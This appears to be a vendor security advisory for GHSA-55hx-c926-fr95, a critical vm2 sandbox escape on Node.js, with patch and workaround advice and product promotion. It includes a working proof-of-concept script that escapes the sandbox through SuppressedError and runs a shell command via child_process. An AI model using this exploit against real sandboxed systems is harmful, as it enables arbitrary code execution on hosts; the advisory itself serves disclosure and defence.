GHSA-55hx-c926-fr95 is a critical-severity (CVSS 9.8) remote code execution vulnerability in vm2. O3 Security confirms whether GHSA-55hx-c926-fr95 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
VM2 Has a Sandbox Escape Issue via SuppressedError
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
vm2npmDescription
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-55hx-c926-fr95 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-55hx-c926-fr95 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-55hx-c926-fr95. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-55hx-c926-fr95 in your dependencies?
O3 detects GHSA-55hx-c926-fr95 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.